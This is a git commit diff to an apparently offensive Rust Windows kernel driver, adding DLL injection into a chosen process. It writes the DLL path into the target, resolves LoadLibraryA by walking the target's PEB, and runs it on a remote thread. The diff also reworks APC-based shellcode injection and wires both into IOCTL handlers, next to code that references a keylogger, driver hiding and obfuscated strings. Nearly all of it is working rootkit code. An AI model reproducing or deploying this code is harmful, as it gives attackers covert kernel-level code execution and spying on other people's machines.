Adding DLL injection functionality

This commit is contained in:
João Victor
2024-08-05 21:35:29 -03:00
parent 2d94fbbd33
commit 0bcdf6b443
7 changed files with 300 additions and 128 deletions

View File

@@ -18,6 +18,7 @@ use {
}, },
}; };
/// List of target drivers protected by a mutex. /// List of target drivers protected by a mutex.
static DRIVER_INFO_HIDE: Lazy<Mutex<Vec<HiddenDriverInfo>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_DRIVER))); static DRIVER_INFO_HIDE: Lazy<Mutex<Vec<HiddenDriverInfo>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_DRIVER)));

View File

@@ -135,10 +135,7 @@ pub mod structs {
pub mod types { pub mod types {
use super::*; use super::*;
// pub type OperationPre = unsafe extern "C" fn(*mut core::ffi::c_void, *mut OB_PRE_OPERATION_INFORMATION) -> i32;
// pub type OperationPost = unsafe extern "C" fn(*mut core::ffi::c_void, *mut _OB_POST_OPERATION_INFORMATION);
pub type DRIVER_INITIALIZE = core::option::Option<unsafe extern "system" fn( pub type DRIVER_INITIALIZE = core::option::Option<unsafe extern "system" fn(
DriverObject: &mut _DRIVER_OBJECT, DriverObject: &mut _DRIVER_OBJECT,
RegistryPath: PCUNICODE_STRING, RegistryPath: PCUNICODE_STRING,

View File

@@ -0,0 +1,29 @@
use wdk_sys::{ntddk::{ExFreePool, PsIsThreadTerminating}, PKAPC, PVOID, _MODE::UserMode};
use crate::includes::{types::PKNORMAL_ROUTINE, KeTestAlertThread, PsGetCurrentThread};
pub unsafe extern "system" fn kernel_apc_callback(
apc: PKAPC,
_normal_routine: *mut PKNORMAL_ROUTINE,
_normal_context: *mut PVOID,
_system_argument1: *mut PVOID,
_system_argument2: *mut PVOID
) {
KeTestAlertThread(UserMode as i8);
ExFreePool(apc as _)
}
pub unsafe extern "system" fn user_apc_callback(
apc: PKAPC,
normal_routine: *mut PKNORMAL_ROUTINE,
_normal_context: *mut PVOID,
_system_argument1: *mut PVOID,
_system_argument2: *mut PVOID
) {
if PsIsThreadTerminating(PsGetCurrentThread()) == 1 {
*normal_routine = None;
}
ExFreePool(apc as _)
}

View File

@@ -1,29 +1,31 @@
#![allow(non_snake_case)] #![allow(non_snake_case)]
use { use {
obfstr::obfstr,
shared::structs::TargetInjection,
core::{ffi::c_void, ptr::null_mut, mem::{size_of, transmute}},
crate::{ crate::{
includes::{ includes::{
enums::KAPC_ENVIROMENT::OriginalApcEnvironment,
types::{ types::{
ZwProtectVirtualMemoryType, ZwCreateThreadExType, PKNORMAL_ROUTINE ZwCreateThreadExType, ZwProtectVirtualMemoryType, PKNORMAL_ROUTINE
}, },
MmCopyVirtualMemory, KeInitializeApc, KeTestAlertThread, PsGetCurrentThread, KeInsertQueueApc, KeInitializeApc, KeInsertQueueApc, MmCopyVirtualMemory,
enums::KAPC_ENVIROMENT::OriginalApcEnvironment,
}, },
process::Process, process::Process,
utils::{find_zw_function, read_file, InitializeObjectAttributes, find_thread_alertable} utils::{find_thread_alertable, find_zw_function, read_file, InitializeObjectAttributes, get_module_peb}
}, },
callbacks::{kernel_apc_callback, user_apc_callback},
core::{ffi::c_void, mem::{size_of, transmute}, ptr::null_mut},
obfstr::obfstr,
shared::structs::TargetInjection,
wdk_sys::{ wdk_sys::{
ntddk::{ ntddk::{
ExAllocatePool2, IoGetCurrentProcess, ZwAllocateVirtualMemory, ExAllocatePool2, IoGetCurrentProcess, ZwAllocateVirtualMemory,
ZwClose, ZwOpenProcess, ExFreePool, PsIsThreadTerminating ZwClose, ZwOpenProcess
}, },
_MODE::{KernelMode, UserMode}, * _MODE::{KernelMode, UserMode}, *
}, },
}; };
mod callbacks;
pub struct InjectionShellcode; pub struct InjectionShellcode;
impl InjectionShellcode { impl InjectionShellcode {
@@ -38,10 +40,12 @@ impl InjectionShellcode {
pub unsafe fn injection_thread(target: *mut TargetInjection) -> NTSTATUS { pub unsafe fn injection_thread(target: *mut TargetInjection) -> NTSTATUS {
let pid = (*target).pid; let pid = (*target).pid;
let path = &(*target).path; let path = &(*target).path;
let zw_thread_addr = match find_zw_function(obfstr!("NtCreateThreadEx")) { let zw_thread_addr = match find_zw_function(obfstr!("NtCreateThreadEx")) {
Some(addr) => addr as *mut c_void, Some(addr) => addr as *mut c_void,
None => return STATUS_UNSUCCESSFUL None => return STATUS_UNSUCCESSFUL
}; };
let zw_protect_addr = match find_zw_function(obfstr!("NtProtectVirtualMemory")) { let zw_protect_addr = match find_zw_function(obfstr!("NtProtectVirtualMemory")) {
Some(addr) => addr as *mut c_void, Some(addr) => addr as *mut c_void,
None => return STATUS_UNSUCCESSFUL None => return STATUS_UNSUCCESSFUL
@@ -140,6 +144,7 @@ impl InjectionShellcode {
Ok(buffer) => buffer, Ok(buffer) => buffer,
Err(error) => return error Err(error) => return error
}; };
let thread_id = match find_thread_alertable(pid) { let thread_id = match find_thread_alertable(pid) {
Some(tid) => tid, Some(tid) => tid,
None => return STATUS_UNSUCCESSFUL None => return STATUS_UNSUCCESSFUL
@@ -229,28 +234,98 @@ impl InjectionShellcode {
} }
} }
unsafe extern "system" fn kernel_apc_callback( pub struct InjectionDLL;
apc: PKAPC,
_normal_routine: *mut PKNORMAL_ROUTINE,
_normal_context: *mut PVOID,
_system_argument1: *mut PVOID,
_system_argument2: *mut PVOID
) {
KeTestAlertThread(UserMode as i8); impl InjectionDLL {
ExFreePool(apc as _) pub unsafe fn injection_dll_thread(target: *mut TargetInjection) -> NTSTATUS {
} let pid = (*target).pid;
let path = (*target).path.as_bytes();
let zw_thread_addr = match find_zw_function(obfstr!("NtCreateThreadEx")) {
Some(addr) => addr as *mut c_void,
None => return STATUS_UNSUCCESSFUL
};
unsafe extern "system" fn user_apc_callback( let zw_protect_addr = match find_zw_function(obfstr!("NtProtectVirtualMemory")) {
apc: PKAPC, Some(addr) => addr as *mut c_void,
normal_routine: *mut PKNORMAL_ROUTINE, None => return STATUS_UNSUCCESSFUL
_normal_context: *mut PVOID, };
_system_argument1: *mut PVOID,
_system_argument2: *mut PVOID let function_address = match get_module_peb(pid, obfstr!("kernel32.dll"),obfstr!("LoadLibraryA")) {
) { Some(addr) => addr,
if PsIsThreadTerminating(PsGetCurrentThread()) == 1 { None => return STATUS_UNSUCCESSFUL
*normal_routine = None; };
let target_eprocess = match Process::new(pid) {
Some(e_process) => e_process,
None => return STATUS_UNSUCCESSFUL,
};
let mut h_process: HANDLE = null_mut();
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
let mut client_id = CLIENT_ID {
UniqueProcess: pid as _,
UniqueThread: null_mut(),
};
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
if !NT_SUCCESS(status) {
log::error!("ZwOpenProcess Failed With Status: {status}");
return status;
}
let mut base_address = null_mut();
let mut region_size = path.len() as u64;
status = ZwAllocateVirtualMemory(h_process, &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if !NT_SUCCESS(status) {
log::error!("ZwAllocateVirtualMemory Failed With Status: {status}");
ZwClose(h_process);
return status;
}
let mut result_number = 0;
MmCopyVirtualMemory(
IoGetCurrentProcess(),
path.as_ptr() as _,
target_eprocess.e_process,
base_address,
(path.len() * size_of::<u16>()) as u64,
KernelMode as i8,
&mut result_number,
);
let ZwProtectVirtualMemory = transmute::<_, ZwProtectVirtualMemoryType>(zw_protect_addr);
let mut old_protect = 0;
status = ZwProtectVirtualMemory(h_process, &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect);
if !NT_SUCCESS(status) {
log::error!("ZwProtectVirtualMemory Failed With Status: {status}");
ZwClose(h_process);
return status;
}
let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr);
let mut h_thread = null_mut();
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
status = ZwCreateThreadEx(
&mut h_thread,
THREAD_ALL_ACCESS,
&mut obj_attr,
h_process,
transmute(function_address),
base_address,
0,
0,
0,
0,
null_mut()
);
if !NT_SUCCESS(status) {
log::error!("ZwCreateThreadEx Failed With Status: {status}");
ZwClose(h_process);
return status;
}
ZwClose(h_process);
ZwClose(h_thread);
STATUS_SUCCESS
} }
}
ExFreePool(apc as _)
}

View File

@@ -1,7 +1,8 @@
use { use {
crate::{ crate::{
*, callbacks::{Callback, CallbackRegistry, CallbackOb, CallbackList}, *,
driver::Driver, injection::InjectionShellcode, keylogger::set_keylogger_state, callbacks::{Callback, CallbackRegistry, CallbackOb, CallbackList},
driver::Driver, injection::{InjectionShellcode, InjectionDLL}, keylogger::set_keylogger_state,
module::Module, process::Process, thread::Thread module::Module, process::Process, thread::Thread
}, },
alloc::boxed::Box, alloc::boxed::Box,
@@ -15,6 +16,7 @@ use {
wdk_sys::{IO_STACK_LOCATION, IRP, NTSTATUS} wdk_sys::{IO_STACK_LOCATION, IRP, NTSTATUS}
}; };
#[cfg(not(feature = "mapper"))] #[cfg(not(feature = "mapper"))]
use { use {
crate::{ crate::{
@@ -149,20 +151,27 @@ lazy_static! {
status status
}) as IoctlHandler); }) as IoctlHandler);
ioctls.insert(IOCTL_INJECTION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { ioctls.insert(IOCTL_INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_INJECTION_THREAD"); log::info!("Received IOCTL_INJECTION_SHELLCODE_THREAD");
let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_thread, TargetInjection) }; let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_thread, TargetInjection) };
unsafe { (*irp).IoStatus.Information = 0 }; unsafe { (*irp).IoStatus.Information = 0 };
status status
}) as IoctlHandler); }) as IoctlHandler);
ioctls.insert(IOCTL_INJECTION_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { ioctls.insert(IOCTL_INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_INJECTION_APC"); log::info!("Received IOCTL_INJECTION_SHELLCODE_APC");
let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_apc, TargetInjection) }; let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_apc, TargetInjection) };
unsafe { (*irp).IoStatus.Information = 0 }; unsafe { (*irp).IoStatus.Information = 0 };
status status
}) as IoctlHandler); }) as IoctlHandler);
ioctls.insert(IOCTL_INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_INJECTION_DLL_THREAD");
let status = unsafe { handle_injection!(stack, InjectionDLL::injection_dll_thread, TargetInjection) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
// If the feature is a mapper, these functionalities will not be added. // If the feature is a mapper, these functionalities will not be added.
#[cfg(not(feature = "mapper"))] { #[cfg(not(feature = "mapper"))] {

View File

@@ -102,10 +102,6 @@ macro_rules! handle_injection {
$action(input_buffer) $action(input_buffer)
}}; }};
($action:expr) => {
$action()
}
} }
/// Macro to handle registry-related operations. /// Macro to handle registry-related operations.

View File

@@ -1,16 +1,18 @@
use { use {
crate::{includes::structs::SystemModuleInformation, process::Process}, crate::{includes::{structs::SystemModuleInformation, PsGetProcessPeb}, process::Process},
alloc::{string::String, vec, vec::Vec}, alloc::{string::String, vec, vec::Vec},
core::{ core::{
ffi::{c_void, CStr}, ffi::{c_void, CStr},
mem::{size_of, zeroed}, mem::{size_of, zeroed},
ptr::{null_mut, read, read_unaligned}, ptr::{null_mut, read, read_unaligned},
fmt::Write fmt::Write,
slice::from_raw_parts
}, },
ntapi::{ ntapi::{
ntexapi::{SystemModuleInformation, SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION}, ntexapi::{SystemModuleInformation, SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION},
ntzwapi::ZwQuerySystemInformation, ntzwapi::ZwQuerySystemInformation,
ntldr::LDR_DATA_TABLE_ENTRY, ntldr::LDR_DATA_TABLE_ENTRY,
ntpebteb::PEB,
}, },
obfstr::obfstr, obfstr::obfstr,
wdk_sys::{ wdk_sys::{
@@ -136,18 +138,9 @@ pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -
let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY; let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
let names = core::slice::from_raw_parts( let names = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _);
(dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, let functions = from_raw_parts((dll_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _);
(*export_directory).NumberOfNames as _, let ordinals = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,(*export_directory).NumberOfNames as _);
);
let functions = core::slice::from_raw_parts(
(dll_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32,
(*export_directory).NumberOfFunctions as _,
);
let ordinals = core::slice::from_raw_parts(
(dll_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,
(*export_directory).NumberOfNames as _,
);
for i in 0..(*export_directory).NumberOfNames as isize { for i in 0..(*export_directory).NumberOfNames as isize {
let name = CStr::from_ptr((dll_base as usize + names[i as usize] as usize) as *const i8).to_str().ok()?; let name = CStr::from_ptr((dll_base as usize + names[i as usize] as usize) as *const i8).to_str().ok()?;
@@ -189,18 +182,9 @@ pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<
let nt_header = (dll_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; let nt_header = (dll_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
let export_directory = (dll_base + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY; let export_directory = (dll_base + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
let names = core::slice::from_raw_parts( let names = from_raw_parts((dll_base + (*export_directory).AddressOfNames as usize) as *const u32,(*export_directory).NumberOfNames as _);
(dll_base + (*export_directory).AddressOfNames as usize) as *const u32, let functions = from_raw_parts((dll_base + (*export_directory).AddressOfFunctions as usize) as *const u32,(*export_directory).NumberOfFunctions as _);
(*export_directory).NumberOfNames as _, let ordinals = from_raw_parts((dll_base + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
);
let functions = core::slice::from_raw_parts(
(dll_base + (*export_directory).AddressOfFunctions as usize) as *const u32,
(*export_directory).NumberOfFunctions as _,
);
let ordinals = core::slice::from_raw_parts(
(dll_base + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,
(*export_directory).NumberOfNames as _,
);
for i in 0..(*export_directory).NumberOfNames as isize { for i in 0..(*export_directory).NumberOfNames as isize {
let name_module = CStr::from_ptr((dll_base + names[i as usize] as usize) as *const i8).to_str().ok()?; let name_module = CStr::from_ptr((dll_base + names[i as usize] as usize) as *const i8).to_str().ok()?;
@@ -249,10 +233,7 @@ pub unsafe fn get_process_by_name(process_name: &str) -> Option<usize> {
loop { loop {
if !(*process_info).ImageName.Buffer.is_null() { if !(*process_info).ImageName.Buffer.is_null() {
let image_name = core::slice::from_raw_parts( let image_name = from_raw_parts((*process_info).ImageName.Buffer, ((*process_info).ImageName.Length / 2) as usize);
(*process_info).ImageName.Buffer,
((*process_info).ImageName.Length / 2) as usize,
);
let name = String::from_utf16_lossy(image_name); let name = String::from_utf16_lossy(image_name);
if name == process_name { if name == process_name {
let pid = (*process_info).UniqueProcessId as usize; let pid = (*process_info).UniqueProcessId as usize;
@@ -281,53 +262,19 @@ pub unsafe fn get_process_by_name(process_name: &str) -> Option<usize> {
/// - `Option<u16>`: The syscall index if found, or `None` if an error occurs or the function is not found. /// - `Option<u16>`: The syscall index if found, or `None` if an error occurs or the function is not found.
/// ///
pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> { pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> {
let mut section_handle = null_mut(); let (section_handle, ntdll_addr) = match map_dll(obfstr!("\\KnownDlls\\ntdll.dll")) {
let ntdll = crate::utils::uni::str_to_unicode("\\KnownDlls\\ntdll.dll"); Some(infos) => infos,
let mut obj_attr = InitializeObjectAttributes(Some(&mut ntdll.to_unicode()), OBJ_CASE_INSENSITIVE, None, None, None); None => return None
let mut status = ZwOpenSection(&mut section_handle, SECTION_MAP_READ | SECTION_QUERY, &mut obj_attr); };
if !NT_SUCCESS(status) {
log::error!("ZwOpenSection Failed With Status: {status}");
return None
}
let mut large: LARGE_INTEGER = zeroed(); let dos_header = ntdll_addr as *const IMAGE_DOS_HEADER;
let mut ntdll_addr = null_mut(); let nt_header = (ntdll_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
let mut view_size = 0;
status = ZwMapViewOfSection(
section_handle,
0xFFFFFFFFFFFFFFFF as *mut core::ffi::c_void,
&mut ntdll_addr,
0,
0,
&mut large,
&mut view_size,
ViewUnmap,
0,
PAGE_READONLY,
);
if !NT_SUCCESS(status) {
log::error!("ZwMapViewOfSection Failed With Status: {status}");
ZwClose(section_handle);
return None
}
let dos_header = ntdll_addr as *mut IMAGE_DOS_HEADER;
let nt_header = (ntdll_addr as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
let ntdll_addr = ntdll_addr as usize; let ntdll_addr = ntdll_addr as usize;
let export_directory = (ntdll_addr + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY; let export_directory = (ntdll_addr + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
let names = core::slice::from_raw_parts( let names = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _,);
(ntdll_addr + (*export_directory).AddressOfNames as usize) as *const u32, let functions = from_raw_parts((ntdll_addr + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _,);
(*export_directory).NumberOfNames as _, let ordinals = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
);
let functions = core::slice::from_raw_parts(
(ntdll_addr + (*export_directory).AddressOfFunctions as usize) as *const u32,
(*export_directory).NumberOfFunctions as _,
);
let ordinals = core::slice::from_raw_parts(
(ntdll_addr + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,
(*export_directory).NumberOfNames as _,
);
for i in 0..(*export_directory).NumberOfNames as isize { for i in 0..(*export_directory).NumberOfNames as isize {
let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8).to_str().ok()?; let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8).to_str().ok()?;
@@ -358,6 +305,129 @@ pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> {
return None return None
} }
/// Retrieves the address of a specified function within a module in the context of a target process.
///
/// # Parameters
/// - `pid`: The process ID (PID) of the target process.
/// - `module_name`: The name of the module (DLL) to be searched for. The search is case-insensitive.
/// - `function_name`: The name of the function within the module to be found.
///
/// # Returns
/// - `Option<*mut c_void>`: The address of the target function if found.
///
pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str) -> Option<*mut c_void> {
let mut apc_state: KAPC_STATE = core::mem::zeroed();
let target = match Process::new(pid) {
Some(p) => p,
None => return None,
};
KeStackAttachProcess(target.e_process, &mut apc_state);
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
KeUnstackDetachProcess(&mut apc_state);
return None;
}
let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut winapi::shared::ntdef::LIST_ENTRY;
let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink;
while next != current {
if next.is_null() {
log::error!("Next LIST_ENTRY is null");
KeUnstackDetachProcess(&mut apc_state);
return None;
}
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
if list_entry.is_null() {
log::error!("LDR_DATA_TABLE_ENTRY is null");
KeUnstackDetachProcess(&mut apc_state);
return None;
}
let buffer = core::slice::from_raw_parts(
(*list_entry).FullDllName.Buffer,
((*list_entry).FullDllName.Length / 2) as usize,
);
if buffer.is_empty() {
log::error!("Buffer for module name is empty");
KeUnstackDetachProcess(&mut apc_state);
return None;
}
let dll_name = alloc::string::String::from_utf16(&buffer).ok()?;
if dll_name.to_lowercase().contains(module_name) {
let dll_base = (*list_entry).DllBase as usize;
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
let nt_header = (dll_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
let export_directory = (dll_base + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *mut IMAGE_EXPORT_DIRECTORY;
let names = from_raw_parts((dll_base + (*export_directory).AddressOfNames as usize) as *const u32,(*export_directory).NumberOfNames as _);
let functions = from_raw_parts((dll_base + (*export_directory).AddressOfFunctions as usize) as *const u32,(*export_directory).NumberOfFunctions as _);
let ordinals = from_raw_parts((dll_base + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
for i in 0..(*export_directory).NumberOfNames as isize {
let name_module = CStr::from_ptr((dll_base + names[i as usize] as usize) as *const i8).to_str().ok()?;
let ordinal = ordinals[i as usize] as usize;
let address = (dll_base + functions[ordinal] as usize) as *mut c_void;
if name_module == function_name {
KeUnstackDetachProcess(&mut apc_state);
return Some(address);
}
}
}
next = (*next).Flink;
}
KeUnstackDetachProcess(&mut apc_state);
None
}
/// Maps a DLL into memory.
///
/// # Parameters
/// - `name`: The name of the DLL to be mapped.
///
/// # Returns
/// - `Option<(HANDLE, *mut c_void)>`: Containing the handle to the section and a pointer to the mapped view if successful.
///
pub unsafe fn map_dll(name: &str) -> Option<(HANDLE, *mut c_void)> {
let mut section_handle = null_mut();
let dll = crate::utils::uni::str_to_unicode(name);
let mut obj_attr = InitializeObjectAttributes(Some(&mut dll.to_unicode()), OBJ_CASE_INSENSITIVE, None, None, None);
let mut status = ZwOpenSection(&mut section_handle, SECTION_MAP_READ | SECTION_QUERY, &mut obj_attr);
if !NT_SUCCESS(status) {
log::error!("ZwOpenSection Failed With Status: {status}");
return None
}
let mut large: LARGE_INTEGER = zeroed();
let mut addr = null_mut();
let mut view_size = 0;
status = ZwMapViewOfSection(
section_handle,
0xFFFFFFFFFFFFFFFF as *mut core::ffi::c_void,
&mut addr,
0,
0,
&mut large,
&mut view_size,
ViewUnmap,
0,
PAGE_READONLY,
);
if !NT_SUCCESS(status) {
log::error!("ZwMapViewOfSection Failed With Status: {status}");
ZwClose(section_handle);
return None
}
Some((section_handle, addr))
}
/// Finds the address of a specified Zw function. /// Finds the address of a specified Zw function.
/// ///
/// # Parameters /// # Parameters
@@ -390,9 +460,9 @@ pub unsafe fn find_zw_function(name: &str) -> Option<usize> {
0xE9, 0xCC, 0xCC, 0xCC, 0xCC // jmp KiServiceInternal 0xE9, 0xCC, 0xCC, 0xCC, 0xCC // jmp KiServiceInternal
]; ];
let dos_header = ntoskrnl_addr as *mut IMAGE_DOS_HEADER; let dos_header = ntoskrnl_addr as *const IMAGE_DOS_HEADER;
let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *mut IMAGE_SECTION_HEADER; let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *const IMAGE_SECTION_HEADER;
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize { for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
let section = (*section_header.add(i)).Name; let section = (*section_header.add(i)).Name;
@@ -427,7 +497,7 @@ pub unsafe fn find_zw_function(name: &str) -> Option<usize> {
pub unsafe fn find_thread_alertable(target_pid: usize) -> Option<*mut _KTHREAD> { pub unsafe fn find_thread_alertable(target_pid: usize) -> Option<*mut _KTHREAD> {
let mut return_bytes = 0; let mut return_bytes = 0;
ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes); ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes);
let info_process = ExAllocatePool2(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"oied")) as PSYSTEM_PROCESS_INFORMATION; let info_process = ExAllocatePool2(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"oied")) as PSYSTEM_PROCESS_INFORMATION;
if info_process.is_null() { if info_process.is_null() {
log::error!("ExAllocatePool2 Failed"); log::error!("ExAllocatePool2 Failed");
return None; return None;
@@ -450,11 +520,7 @@ pub unsafe fn find_thread_alertable(target_pid: usize) -> Option<*mut _KTHREAD>
while (*process_info).NextEntryOffset != 0 { while (*process_info).NextEntryOffset != 0 {
let pid = (*process_info).UniqueProcessId as usize; let pid = (*process_info).UniqueProcessId as usize;
if pid == target_pid { if pid == target_pid {
let threads_slice = core::slice::from_raw_parts( let threads_slice = from_raw_parts((*process_info).Threads.as_ptr(), (*process_info).NumberOfThreads as usize,);
(*process_info).Threads.as_ptr(),
(*process_info).NumberOfThreads as usize,
);
for &thread in threads_slice { for &thread in threads_slice {
let thread_id = thread.ClientId.UniqueThread as usize; let thread_id = thread.ClientId.UniqueThread as usize;
let target_thread = match crate::thread::Thread::new(thread_id) { let target_thread = match crate::thread::Thread::new(thread_id) {
@@ -562,7 +628,6 @@ pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> {
}; };
if !NT_SUCCESS(status) { if !NT_SUCCESS(status) {
log::error!("ZwCreateFile Failed With Status: {status}"); log::error!("ZwCreateFile Failed With Status: {status}");
unsafe { ZwClose(h_file) };
return Err(status); return Err(status);
} }